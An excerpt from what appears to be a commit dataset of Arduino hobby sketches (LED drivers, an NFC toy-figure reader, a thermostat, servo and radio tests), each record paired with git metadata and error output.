PWMdata\n byte sOut = _BV(SERIAL_CLK)|_BV(SERIAL_OUT);\n SERIAL_DDR |= sOut; \/\/ Pins are outputs\n SERIAL_PORT &= ~sOut; \/\/ Outputs start low\n USICR = _BV(USIWM0); \/\/ Three wire mode\n\n \/\/ Send it...\n pwm_index_type numBytes = sizeof(pwmData);\n byte *pwm = pwmData+numBytes; \/\/ High byte first...\n while (numBytes > 0) {\n sendByte(*--pwm);\n --numBytes;\n }\n\n \/\/ Tell the interrupt routine there's data to be latched\n doXLAT = true;\n\n return true;\n }\n*\/\n};\n\n\n\/\/ Create a Tiny5940 for people to use\nTiny5940 tlc;\n\n\nvolatile bool active = false;\nvolatile bool initialized = false;\n\n\nISR (PCINT0_vect)\n{\n if ((PINA & (1 << PA0)) == 1)\n {\n \/\/ Low to high change\n }\n else\n {\n \/\/ High to low change\n \/\/ trigger XLAT to latch in current data (sent by another device)\n doXLAT = true;\n\n \/\/ activate timers to start sending pulses\n active = true;\n }\n}\n\nvoid setup() {\n\n \/\/ use PCINT0 to trigger XLAT and initial start\n DDRA &= ~(1 << PA0); \/\/ PA0 as input\n PORTA |= (1 << PORTA0); \/\/ Turn on pull up\n GIMSK |= (1 << PCIE0); \/\/ enable interrupts on PCINT0\n PCMSK0 = 0; \/\/ disable all PCINTS\n PCMSK0 |= (1 << PCINT0); \/\/ just enable interrupts on PCINT0 = PA0\n\n \/\/ Active Led\n pinMode(PIN_LED, OUTPUT);\n digitalWrite(PIN_LED, LOW);\n\n \/\/ Interrupts on\n sei();\n}\n\nvoid loop() {\n if (active) {\n if (!initialized) {\n tlc.init();\n initialized = true;\n }\n if (doXLAT) {\n digitalWrite(PIN_LED, HIGH);\n } else {\n digitalWrite(PIN_LED, LOW);\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'software\/firmware\/AtTinyTLC5940Hybrid\/AtTinyTLC5940Hybrid.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b513dc4b2b3fffe1ce5beeed55b6e5cf58406368","subject":"Recongnize Skylander figures by NFC tag","message":"Recongnize Skylander figures by NFC tag\n","repos":"cazacov\/Arduino,cazacov\/Arduino","old_file":"uno\/NfcReader\/NfcReader.ino","new_file":"uno\/NfcReader\/NfcReader.ino","new_contents":"#include <PN532.h>\n#include <SPI.h>\n#include <Adafruit_NeoPixel.h>\n\n\/*Chip select pin can be connected to D10 or D9 which is hareware optional*\/\n\/*if you the version of NFC Shield from SeeedStudio is v2.0.*\/\n#define PN532_CS 10\nPN532 nfc(PN532_CS);\n#define PIN 6\n\nenum Heros\n{\n WashBuckler,\n BlastZone,\n Ninja,\n Unknown\n} hero = Unknown;\n\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(24, PIN, NEO_GRB + NEO_KHZ800);\n\nvoid setup(void) {\n strip.begin();\n strip.show(); \/\/ Initialize all pixels to 'off'\n\n Serial.begin(57600);\n Serial.println(\"Hello!\");\n nfc.begin();\n\n uint32_t versiondata = nfc.getFirmwareVersion();\n if (! versiondata) {\n Serial.print(\"Didn't find PN53x board\");\n while (1); \/\/ halt\n }\n \/\/ Got ok data, print it out!\n Serial.print(\"Found chip PN5\"); \n Serial.println((versiondata>>24) & 0xFF, HEX);\n Serial.print(\"Firmware ver. \"); \n Serial.print((versiondata>>16) & 0xFF, DEC);\n Serial.print('.'); \n Serial.println((versiondata>>8) & 0xFF, DEC);\n Serial.print(\"Supports \"); \n Serial.println(versiondata & 0xFF, HEX);\n \/\/ configure board to read RFID tags and cards\n nfc.SAMConfig();\n}\n\n\nvoid loop(void) {\n uint32_t id;\n \/\/ look for MiFare type cards\n id = nfc.readPassiveTargetID(PN532_MIFARE_ISO14443A);\n \n if (id != 0) {\n long color = 0;\n \n if (id == 3207720708 || id == 816892589)\n {\n hero = WashBuckler;\n }\n else if (id == 3562341356 || id == 2060644139)\n {\n hero = BlastZone;\n }\n else if (id == 3747222318)\n {\n hero = Ninja;\n }\n else\n {\n hero = Unknown;\n }\n \n switch (hero)\n {\n case WashBuckler:\n color = 0x00002020FFL; \/\/ blue \n Serial.println(\"Wash Buckler\");\n break;\n case BlastZone:\n color = 0x00FF9900L; \/\/ orange\n Serial.println(\"Blast Zone\");\n break;\n case Ninja:\n color = 0x0000FF00L; \/\/ green\n Serial.println(\"Ninja Stealth Elf\");\n break; \n default:\n color = 0x00800000L; \/\/ dark red \n Serial.print(\"Unknown: \");\n Serial.println(id);\n break;\n }\n for (int i = 0; i < 24; i++)\n {\n strip.setPixelColor(i, color);\n strip.show();\n delay(25);\n strip.setPixelColor(i, 0x00000000L);\n }\n strip.show();\n }\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'uno\/NfcReader\/NfcReader.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7ed3e1710a3183eca8d7e21955295e9896af1691","subject":"put time comparison in separate function","message":"put time comparison in separate function\n","repos":"cwilkens\/helioscope-lamp","old_file":"helioscope\/helioscope.ino","new_file":"helioscope\/helioscope.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/cwilkens\/helioscope-lamp.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"f1291b8e12ff2e6e97066a580439ca786dada8e7","subject":"Demo clock untested code","message":"Demo clock untested code\n","repos":"janunezc\/GALILEO,janunezc\/GALILEO,janunezc\/GALILEO","old_file":"demo_clock\/demo_clock_autoadjusted\/demo_clock_autoadjusted.ino","new_file":"demo_clock\/demo_clock_autoadjusted\/demo_clock_autoadjusted.ino","new_contents":"\/*\n THIS SKETCH IMPLEMENTS IN THE loop() FUNCTION A CLOCK THAT DOES NOT ACCUMULATE MILLISECONDS BUT TRIES TO KEEP THEM WHITHIN TARGET MILLIS SPECIFICATION.\n*\/\n\n#define CLOCK_PIN 13\/\/Clock en pin 13\n\nlong frequencyInKHz = 5; \/\/ Shooting for 5 KHz\nlong initialMicros = 0;\nlong lastCutoffMicros = 0;\nlong nextCutoffMicros = 0;\nlong t_in_micros = 0;\nlong toggle_time_in_micros = 0;\nint currentSignal = LOW;\nint debugMode = 1;\n\nvoid setup() {\n pinMode(CLOCK_PIN, OUTPUT);\n t_in_micros = (1\/(frequencyInKHz * 1000)) * 1000000;\n toggle_time_in_micros = t_in_micros \/ 2;\n currentSignal = LOW;\n digitalWrite(CLOCK_PIN, currentSignal);\n}\n\nvoid loop() {\n jnck();\n \/\/ Depending on requested frequency, more stuff can be executed here while next toggle time is achieved.\n if (debugMode==1) Serial.println(micros());\n}\n\n\nvoid jnck()\n{\n\n \/\/INITIAL SETUP\n if(lastCutoffMicros == 0){\n lastCutoffMicros = micros(); \n initialMicros = lastCutoffMicros; \/\/Position in time when the clock started\n nextCutoffMicros = lastCutoffMicros + toggle_time_in_micros;\n }\n \n if(micros() > nextCutoffMicros){ \/\/Cutoff!\n lastCutoffMicros = nextCutoffMicros; \/\/Increase based on static target time that do not accumulate elapsed time\n nextCutoffMicros = nextCutoffMicros + toggle_time_in_micros;\n \n if (currentSignal == HIGH ) currentSignal = LOW; \n else currentSignal = HIGH; \/\/TOGGLE CLOCK SIGNAL\n \n digitalWrite(CLOCK_PIN, currentSignal);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'demo_clock\/demo_clock_autoadjusted\/demo_clock_autoadjusted.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"511c1e408676eb2c2fe1be3dc46fef91551574d2","subject":"Ajout test servo","message":"Ajout test servo\n","repos":"lea-leo\/leaspeaking","old_file":"arduino\/TestServo\/TestServo.ino","new_file":"arduino\/TestServo\/TestServo.ino","new_contents":"#include <Servo.h>\n\nServo myservo; \/\/ create servo object to control a servo\nServo myservo1;\nServo myservo2;\n\/\/ twelve servo objects can be created on most boards\n\nint pos = 180;\nint LOW_POSITION = 180;\nint HIGH_POSITION = 0;\n\nvoid setup()\n{\n Serial.begin(9600);\n myservo.attach(9);\n myservo.write(LOW_POSITION);\n myservo1.attach(8);\n myservo1.write(LOW_POSITION);\n myservo2.attach(7);\n myservo2.write(LOW_POSITION);\n\n}\n\nvoid loop()\n{\n for (pos = 20; pos <= 180; pos += 1) { \/\/ goes from 0 degrees to 180 degrees\n \/\/ in steps of 1 degree\n myservo.write(pos); \/\/ tell servo to go to position in variable 'pos'\n myservo1.write(pos);\n myservo2.write(pos);\n delay(40); \/\/ waits 15ms for the servo to reach the position\n }\n for (pos = 180; pos >= 20; pos -= 1) { \/\/ goes from 180 degrees to 0 degrees\n myservo.write(pos); \/\/ tell servo to go to position in variable 'pos'\n myservo1.write(pos);\n myservo2.write(pos);\n delay(40); \/\/ waits 15ms for the servo to reach the position\n }\n myservo.write(LOW_POSITION);\n myservo1.write(LOW_POSITION);\n myservo2.write(LOW_POSITION);\n delay(120);\n\n \/*for (pos = 180; pos >= 20; pos -= 1) { \/\/ goes from 180 degrees to 0 degrees\n myservo.write(pos); \/\/ tell servo to go to position in variable 'pos'\n delay(15); \/\/ waits 15ms for the servo to reach the position\n }\n delay(1000);\n for (pos = 20; pos <= 180; pos += 1) { \/\/ goes from 0 degrees to 180 degrees\n \/\/ in steps of 1 degree\n myservo.write(pos); \/\/ tell servo to go to position in variable 'pos'\n delay(20); \/\/ waits 15ms for the servo to reach the position\n }*\/\n \n \/\/}\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/TestServo\/TestServo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a64320b15957652609d4b5ba10a1888c13a52881","subject":"adding arduino sketch","message":"adding arduino sketch\n","repos":"brendanhoran\/ir-blower","old_file":"arduino\/ir_blower\/ir_blower.ino","new_file":"arduino\/ir_blower\/ir_blower.ino","new_contents":"\/\/ License : BSD 3-Clause\n\/\/ Version 0.0.1\n\/\/ Author : Brendan Horan\n\/\/\n\/\/ NOTES :\n\/\/ Install a 10uf capacitor between RESET and GND.\n\/\/ This prevents the Arduino Nano from restarting\n\/\/ on serial port open.\n\n#include <IRremote.h>\nIRsend irsend;\n\n\/\/ Variable to hold incoming serial comms\nint ctlmsg = 0; \n\nvoid setup() {\n Serial.begin(9600); \/\/ opens serial port, sets data rate to 9600 bps\n Serial.print (\"Connected:9600\");\n}\n\nvoid loop() {\n\n \/\/ wait for data\n if (Serial.available() > 0) {\n \/\/ read data \n ctlmsg = Serial.read();\n\n \/\/ send IR signal based on value from ir-blower server\n \/\/ 49 =1 , 50=2 etc\n switch (ctlmsg) {\n case 49:\n Serial.print(\"49\");\n \/\/ irsend.send\n break;\n case 50:\n Serial.print(\"50\");\n \/\/ irsend.send\n break;\n case 51:\n Serial.print(\"51\");\n \/\/ irsend.send\n break;\n case 52:\n Serial.print(\"52\");\n \/\/ irsend.send\n break;\n }\n \n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/ir_blower\/ir_blower.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"abe1cb1840467fc1f2c173b4151a2c34306a526d","subject":"initial commit","message":"initial commit\n","repos":"gusgonnet\/minimalistThermostat,gusgonnet\/minimalistThermostat,gusgonnet\/minimalistThermostat","old_file":"minimalistthermostat.ino","new_file":"minimalistthermostat.ino","new_contents":"#include \"application.h\"\n\/\/#include \"finite-state-machine.h\"\n#include \"elapsedMillis.h\"\n#include \"PietteTech_DHT.h\"\n#include \"FiniteStateMachine.h\"\n\n#define APP_NAME \"Thermostat\"\n\/\/ IO mapping\n\/\/ D0 : relay: fan\n\/\/ D1 : relay: heat\n\/\/ D2 : relay: cold\n\/\/ D3 : relay:\n\/\/ D4 : DHT22\n\/\/ D5 : unused\n\/\/ D6 : unused\n\/\/ D7 : unused\n\/\/ A0~A7 : unused\n\n\/\/initialize states with proper enter, update and exit functions\nState initState = State( initEnterFunction, initUpdateFunction, initExitFunction );\nState idleState = State( idleEnterFunction, idleUpdateFunction, idleExitFunction );\nState heatingState = State( heatingEnterFunction, heatingUpdateFunction, heatingExitFunction );\nState endOfCycleState = State( endOfCycleEnterFunction, endOfCycleUpdateFunction, endOfCycleExitFunction );\n\n\/\/initialize state machine, start in state: Idle\nFSM thermostatStateMachine = FSM(initState);\n\nString VERSION = \"Version 0.07\";\nint fan = D0;\nint heat = D1;\nint cold = D2;\nint fanTesting;\nint heatTesting;\nint coldTesting;\n\n\/\/ system defines\n#define DHTTYPE DHT22 \/\/ Sensor type DHT11\/21\/22\/AM2301\/AM2302\n#define DHTPIN 4 \/\/ Digital pin for communications\n#define DHT_SAMPLE_INTERVAL 30000 \/\/ Sample room temperature every 30 seconds\nvoid dht_wrapper(); \/\/ must be declared before the lib initialization\nPietteTech_DHT DHT(DHTPIN, DHTTYPE, dht_wrapper);\nbool bDHTstarted; \/\/ flag to indicate we started acquisition\nelapsedMillis dhtSampleInterval;\n\n\/\/milliseconds for the init cycle, so temperature samples get stabilized\n\/\/this should be in the order of the 5 minutes: 5*60*1000==300000\n#define INIT_TIMEOUT 30000\nelapsedMillis initTimer;\n\n\/\/milliseconds to leave the fan on when the target temp has been reached\n\/\/this evacuates the heat or the cold air from vents\n#define END_OF_CYCLE_TIMEOUT 15000\nelapsedMillis endOfCycleTimer;\n\n\/\/temperature related variables - internal\nfloat targetTemp = 19.0;\nfloat currentTemp = 20.0;\nfloat currentHumidity = 0.0;\nfloat margin = 0.5;\n\/\/temperature related variables - to be exposed in the cloud\nString targetTempString = String(targetTemp); \/\/String to store the target temp so it can be exposed and set\nString currentTempString = String(currentTemp); \/\/String to store the sensor's temp so it can be exposed\nString currentHumidityString = String(currentHumidity); \/\/String to store the sensor's humidity so it can be exposed\n\n\/\/testing variables\nbool testing = false;\n\nvoid setup() {\n\n \/\/publish startup message with firmware version\n Particle.publish(APP_NAME, VERSION, 60, PRIVATE);\n\n \/\/declare and init pins\n pinMode(fan, OUTPUT);\n pinMode(heat, OUTPUT);\n pinMode(cold, OUTPUT);\n myDigitalWrite(fan, LOW);\n myDigitalWrite(heat, LOW);\n myDigitalWrite(cold, LOW);\n\n \/\/declare cloud variables\n \/\/https:\/\/docs.particle.io\/reference\/firmware\/photon\/#particle-variable-\n \/\/Currently, up to 10 cloud variables may be defined and each variable name is limited to a maximum of 12 characters\n if (Particle.variable(\"targetTemp\", targetTempString)==false) {\n Particle.publish(APP_NAME, \"ERROR: Failed to register variable targetTemp\", 60, PRIVATE);\n }\n if (Particle.variable(\"currentTemp\", currentTempString)==false) {\n Particle.publish(APP_NAME, \"ERROR: Failed to register variable currentTemp\", 60, PRIVATE);\n }\n if (Particle.variable(\"humidity\", currentHumidityString)==false) {\n Particle.publish(APP_NAME, \"ERROR: Failed to register variable humidity\", 60, PRIVATE);\n }\n\n \/\/declare cloud functions\n \/\/https:\/\/docs.particle.io\/reference\/firmware\/photon\/#particle-function-\n \/\/Currently the application supports the creation of up to 4 different cloud functions.\n \/\/The length of the funcKey is limited to a max of 12 characters.\n \/\/ If you declare a function name longer than 12 characters the function will not be registered.\n \/\/user functions\n if (Particle.function(\"setTargetTmp\", setTargetTemp)==false) {\n Particle.publish(APP_NAME, \"ERROR: Failed to register function setTargetTemp\", 60, PRIVATE);\n }\n \/\/testing functions\n if (Particle.function(\"setTesting\", setTesting)==false) {\n Particle.publish(APP_NAME, \"ERROR: Failed to register function setTesting\", 60, PRIVATE);\n }\n if (Particle.function(\"setCurrTmp\", setCurrentTemp)==false) {\n Particle.publish(APP_NAME, \"ERROR: Failed to register function setCurrentTemp\", 60, PRIVATE);\n }\n if (Particle.function(\"getOutputs\", getOutputs)==false) {\n Particle.publish(APP_NAME, \"ERROR: Failed to register function getOutputs\", 60, PRIVATE);\n }\n\n}\n\n\/\/ This wrapper is in charge of calling the DHT sensor lib\nvoid dht_wrapper() { DHT.isrCallback(); }\n\n\nvoid loop() {\n readTemperature();\n thermostatStateMachine.update();\n}\n\n\/*******************************************************************************\n * Function Name : readTemperature\n * Description : reads the temperature of the DHT22 sensor at every DHT_SAMPLE_INTERVAL\n if testing the app, it returns right away\n * Return : 0\n *******************************************************************************\/\nint readTemperature() {\n\n \/\/are we testing the app? then no need to acquire from the sensor\n if (testing) {\n return 0;\n }\n\n \/\/time is up? no, then come back later\n if (dhtSampleInterval < DHT_SAMPLE_INTERVAL) {\n return 0;\n }\n\n \/\/time is up, reset timer\n dhtSampleInterval = 0;\n\n \/\/ start the sample\n if (!bDHTstarted) {\n DHT.acquire();\n bDHTstarted = true;\n }\n\n \/\/still acquiring sample? go away\n if (DHT.acquiring()) {\n return 0;\n }\n\n \/\/sample acquired - go ahead and store temperature and humidity in internal variables\n publishTemperature( (float)DHT.getCelsius(), (float)DHT.getHumidity() );\n\n \/\/reset the sample flag so we can take another\n bDHTstarted = false;\n\n return 0;\n}\n\n\/*******************************************************************************\n * Function Name : publishTemperature\n * Description : the temperature\/humidity passed as parameters get stored in internal variables\n and then published\n * Return : 0\n *******************************************************************************\/\nint publishTemperature( float temperature, float humidity ) {\n\n char currentTempChar[32];\n currentTemp = temperature;\n int currentTempDecimals = (currentTemp - (int)currentTemp) * 100;\n sprintf(currentTempChar,\"%0d.%d\", (int)currentTemp, currentTempDecimals);\n\n char currentHumidityChar[32];\n currentHumidity = humidity;\n int currentHumidityDecimals = (currentHumidity - (int)currentHumidity) * 100;\n sprintf(currentHumidityChar,\"%0d.%d\", (int)currentHumidity, currentHumidityDecimals);\n\n \/\/publish readings into exposed variables\n currentTempString = String(currentTempChar);\n currentHumidityString = String(currentHumidityChar);\n\n \/\/publish readings\n Particle.publish(APP_NAME, \"Current temperature: \" + currentTempString, 60, PRIVATE);\n Particle.publish(APP_NAME, \"Current humidity: \" + currentHumidityString, 60, PRIVATE);\n\n return 0;\n\n}\n\n\/\/utility functions\nvoid initEnterFunction(){\n Particle.publish(APP_NAME, \"initEnterFunction\", 60, PRIVATE);\n \/\/start the timer of this cycle\n initTimer = 0;\n\n}\nvoid initUpdateFunction(){\n \/\/time is up?\n if (initTimer > INIT_TIMEOUT) {\n thermostatStateMachine.transitionTo(idleState);\n }\n}\nvoid initExitFunction(){\n Particle.publish(APP_NAME, \"initExitFunction\", 60, PRIVATE);\n}\n\nvoid idleEnterFunction(){\n Particle.publish(APP_NAME, \"idleEnterFunction\", 60, PRIVATE);\n myDigitalWrite(fan, LOW);\n myDigitalWrite(heat, LOW);\n myDigitalWrite(cold, LOW);\n}\nvoid idleUpdateFunction(){\n if ( currentTemp <= (targetTemp - margin) ) {\n Particle.publish(APP_NAME, \"Starting to heat\", 60, PRIVATE);\n thermostatStateMachine.transitionTo(heatingState);\n }\n}\nvoid idleExitFunction(){\n Particle.publish(APP_NAME, \"idleExitFunction\", 60, PRIVATE);\n}\n\nvoid heatingEnterFunction(){\n Particle.publish(APP_NAME, \"heatingEnterFunction\", 60, PRIVATE);\n myDigitalWrite(fan, HIGH);\n myDigitalWrite(heat, HIGH);\n myDigitalWrite(cold, LOW);\n}\nvoid heatingUpdateFunction(){\n if ( currentTemp >= (targetTemp + margin) ) {\n Particle.publish(APP_NAME, \"Desired temperature reached\", 60, PRIVATE);\n thermostatStateMachine.transitionTo(endOfCycleState);\n }\n}\nvoid heatingExitFunction(){\n Particle.publish(APP_NAME, \"heatingExitFunction\", 60, PRIVATE);\n myDigitalWrite(fan, HIGH);\n myDigitalWrite(heat, LOW);\n myDigitalWrite(cold, LOW);\n}\n\nvoid endOfCycleEnterFunction(){\n Particle.publish(APP_NAME, \"endOfCycleEnterFunction\", 60, PRIVATE);\n myDigitalWrite(fan, HIGH);\n myDigitalWrite(heat, LOW);\n myDigitalWrite(cold, LOW);\n\n \/\/start the timer of this cycle\n endOfCycleTimer = 0;\n\n}\nvoid endOfCycleUpdateFunction(){\n \/\/time is up?\n if (endOfCycleTimer > END_OF_CYCLE_TIMEOUT) {\n thermostatStateMachine.transitionTo(idleState);\n }\n}\nvoid endOfCycleExitFunction(){\n Particle.publish(APP_NAME, \"endOfCycleExitFunction\", 60, PRIVATE);\n}\n\n\/*******************************************************************************\n * Function Name : setTesting\n * Description : sets the testing variable to true\n * Return : 0\n *******************************************************************************\/\nint setTesting(String dummy)\n{\n testing = true;\n return 0;\n}\n\n\/*******************************************************************************\n * Function Name : getOutputs\n * Description : returns the outputs\n * Return : returns the outputs\n *******************************************************************************\/\nint getOutputs(String dummy)\n{\n \/\/ int fan = D0;\n \/\/ int heat = D1;\n \/\/ int cold = D2;\n return coldTesting*4 + heatTesting*2 + fanTesting*1;\n}\n\n\/*******************************************************************************\n * Function Name : setCurrentTemp\n * Description : sets the current temperature of the thermostat\n newCurrentTemp has to be a valid float value, or no new current temp will be set\n * Return : 0, or -1 if it fails to convert the temp to float\n *******************************************************************************\/\nint setCurrentTemp(String newCurrentTemp)\n{\n float tmpFloat = newCurrentTemp.toFloat();\n\n \/\/update the current temp only in the case the conversion to float works\n \/\/ (toFloat returns 0 if there is a problem in the conversion)\n \/\/ sorry, if you wanted to set 0 as the current temp, you can't :)\n if ( tmpFloat > 0 ) {\n currentTemp = tmpFloat;\n currentTempString = String(currentTemp);\n Particle.publish(APP_NAME, \"New current temp: \" + currentTempString, 60, PRIVATE);\n return 0;\n } else {\n Particle.publish(APP_NAME, \"ERROR: Failed to set new current temp to \" + newCurrentTemp, 60, PRIVATE);\n return -1;\n }\n}\n\n\/*******************************************************************************\n * Function Name : setTargetTemp\n * Description : sets the target temperature of the thermostat\n newTargetTemp has to be a valid float value, or no new target temp will be set\n * Return : 0, or -1 if it fails to convert the temp to float\n *******************************************************************************\/\nint setTargetTemp(String newTargetTemp)\n{\n float tmpFloat = newTargetTemp.toFloat();\n \/\/update the target temp only in the case the conversion to float works\n \/\/ (toFloat returns 0 if there is a problem in the conversion)\n \/\/ sorry, if you wanted to set 0 as the target temp, you can't :)\n if ( tmpFloat > 0 ) {\n targetTemp = tmpFloat;\n targetTempString = String(targetTemp);\n Particle.publish(APP_NAME, \"New target temp: \" + targetTempString, 60, PRIVATE);\n return 0;\n } else {\n Particle.publish(APP_NAME, \"ERROR: Failed to set new target temp to \" + newTargetTemp, 60, PRIVATE);\n return -1;\n }\n}\n\nvoid myDigitalWrite( int input, int status){\n digitalWrite(input, status);\n if (input == fan){\n fanTesting = status;\n }\n if (input == heat){\n heatTesting = status;\n }\n if (input == cold){\n coldTesting = status;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'minimalistthermostat.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0b1353862de0d0030ecdf30fdaf45b9a50b6b2e0","subject":"debug fix, improved comments","message":"debug fix, improved comments\n","repos":"Duke-Medical-Instrumentation\/Inception","old_file":"Testing\/BluetoothTesting\/ReceiverMain\/ReceiverMain.ino","new_file":"Testing\/BluetoothTesting\/ReceiverMain\/ReceiverMain.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Duke-Medical-Instrumentation\/Inception.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"91021ca5c27e4598d5763bc1099a65077c6787c5","subject":"Read write experiment: toggle big leds","message":"Read write experiment: toggle big leds\n\nBecause not al boards have the smaller debug leds","repos":"knopjesmuseum\/resilient-network,knopjesmuseum\/resilient-network","old_file":"experiments\/SoftwareSerial\/5 multi-read-write-precheck\/PartA\/PartA.ino","new_file":"experiments\/SoftwareSerial\/5 multi-read-write-precheck\/PartA\/PartA.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'experiments\/SoftwareSerial\/5' did not match any file(s) known to git\nerror: pathspec 'multi-read-write-precheck\/PartA\/PartA.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8169b082b915b5f9f5a94ff659bd9f922fcdc932","subject":"Comments, formatting","message":"Comments, formatting\n","repos":"onordbo\/mood-cloud,onordbo\/mood-cloud,onordbo\/mood-cloud","old_file":"THIS SHIT WORKS\/randomLight_sensor\/randomLight_sensor.ino","new_file":"THIS SHIT WORKS\/randomLight_sensor\/randomLight_sensor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/onordbo\/mood-cloud.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"bde4f4b6f017c3efd7aadd073727ae27b36560fa","subject":"init class of a cart control","message":"init class of a cart control\n","repos":"sjhonatan\/arduino,sjhonatan\/arduino","old_file":"jtk\/cart.ino","new_file":"jtk\/cart.ino","new_contents":"\/*\nJhonatan da Silva\nLast Updated version :\nSun Feb 12 20:23:38 2017\nNumber of code lines: \n37\n*\/\nclass Carrinho{\n public:\n Carrinho();\n void begin();\n void f();\n void b();\n void l();\n void r();\n private:\n bool _status;\n };\n\n Carrinho::Carrinho(){\n\n }\n void Carrinho::begin(){\n Serial.begin(9600);\n }\n void Carrinho::f(){\n\n }\n void Carrinho::b(){\n\n }\n void Carrinho::l(){\n\n }\n void Carrinho::r(){\n\n }\nCarrinho cart();\nvoid setup(){\n\n}\nvoid loop(){\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'jtk\/cart.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"81f2ae4d425aa8f4b64952dd39d9242ef33cb2c0","subject":"testing dra818","message":"testing dra818\n","repos":"mik4el\/rufs,mik4el\/rufs","old_file":"hacks\/dra818_test\/dra818_test.ino","new_file":"hacks\/dra818_test\/dra818_test.ino","new_contents":"#include <SoftwareSerial.h>\n\nSoftwareSerial radioSerial(10, 11); \/\/ RX, TX\n#define TONE_PIN 8\nchar line[80];\nint count = 0;\n\nvoid setup() {\n pinMode(TONE_PIN, OUTPUT);\n\n \/\/ Open serial communications and wait for port to open:\n Serial.begin(9600);\n while (!Serial) {\n ; \/\/ wait for serial port to connect. Needed for native USB port only\n }\n\n \/\/ set the data rate for the SoftwareSerial port\n radioSerial.begin(9600);\n\n delay(1000);\n\n \/\/ check that radio works\n radioSerial.print(\"AT+DMOCONNECT\\r\\n\");\n delay(1000);\n radioSerial.print(\"AT+DMOSETGROUP=0,145.6000,145.6000,0000,8,0000\\r\\n\");\n \n Serial.println(\"Setup complete\");\n\n}\n\nvoid loop() { \/\/ run over and over\n while (radioSerial.available()) {\n Serial.write(radioSerial.read());\n }\n while (Serial.available()) {\n line[count] = (char)Serial.read(); \/\/ store the char\n if (line[count++] == '\\n'){ \/\/ if its a CR,\n line[count-1] = '\\0'; \/\/ zero-terminate it\n radioSerial.print(line); \/\/ and print it.\n radioSerial.print(\"\\r\\n\"); \/\/ special format for DRA818\n Serial.print(\"Command sent: \");\n Serial.print(\"'\");\n Serial.print(line);\n Serial.print(\"'\");\n Serial.println(\"\");\n count = 0; \/\/ and reset the index.\n }\n }\n\n \/\/play tone\n tone(TONE_PIN, 131, 1000); \/\/ Play C3 for 1s\n delay(1300);\n \/\/ stop the tone playing:\n noTone(TONE_PIN);\n tone(TONE_PIN, 1397, 1000); \/\/ Play F6 for 1s\n delay(1300);\n \/\/ stop the tone playing:\n noTone(TONE_PIN);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'hacks\/dra818_test\/dra818_test.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"078966a4acdff7a1853e1709cffac73f87f43929","subject":"functional prototype","message":"functional prototype\n","repos":"kanarok\/PiServerPanel","old_file":"piserverpanel\/piserverpanel.ino","new_file":"piserverpanel\/piserverpanel.ino","new_contents":"#include <TimerOne.h>\n\n#define LED_R 6\n#define LED_G 9\n#define LED_B 10\n#define BUTTON 2\n#define PUSHLOCK_NO 7\n#define PUSHLOCK_NC 3\n\n#define LOCKED LOW\n#define UNLOCKED HIGH\n#define UNDEFINED 2\n\nbyte button = 0;\nbyte pushlock = UNDEFINED;\n\nint c_r = 0;\nint c_g = 0;\nint c_b = 0;\nint fade_r = 5;\nint fade_g = 15;\nint fade_b = 10;\nint fade_delay = 5;\nint fdel = 1;\nint cmode = 0;\n\nint incomingByte = 0;\nunsigned long tracker;\n\nvoid setup() {\n pinMode(BUTTON, INPUT_PULLUP);\n pinMode(PUSHLOCK_NO, INPUT_PULLUP);\n pinMode(PUSHLOCK_NC, INPUT_PULLUP);\n\n pinMode(LED_R, OUTPUT);\n pinMode(LED_G, OUTPUT);\n pinMode(LED_B, OUTPUT);\n \n attachInterrupt(digitalPinToInterrupt(BUTTON), button_push, FALLING);\n attachInterrupt(digitalPinToInterrupt(PUSHLOCK_NO), pushlock_change, CHANGE);\n \/\/attachInterrupt(digitalPinToInterrupt(PUSHLOCK_NC), pushlock_open, CHANGE);\n\n pushlock = digitalRead(PUSHLOCK_NO);\n tracker = millis();\n\n Serial.begin(115200);\n}\n\nvoid loop() {\n if (pushlock == LOCKED) {\n \/\/Serial.println(\"LOCKED\");\n if (heartbeat()) {\n \n }\n } else {\n \/\/Serial.println(\"UNLOCKED\");\n if (Serial.available() > 0) {\n incomingByte = Serial.read();\n Serial.println(incomingByte, HEX);\n Serial.println(\"HEARTBEAT\");\n serial_flush();\n delay(1000);\n }\n }\n if (digitalRead(BUTTON)) {\n \/\/if (button != 0) {\n button = 0;\n 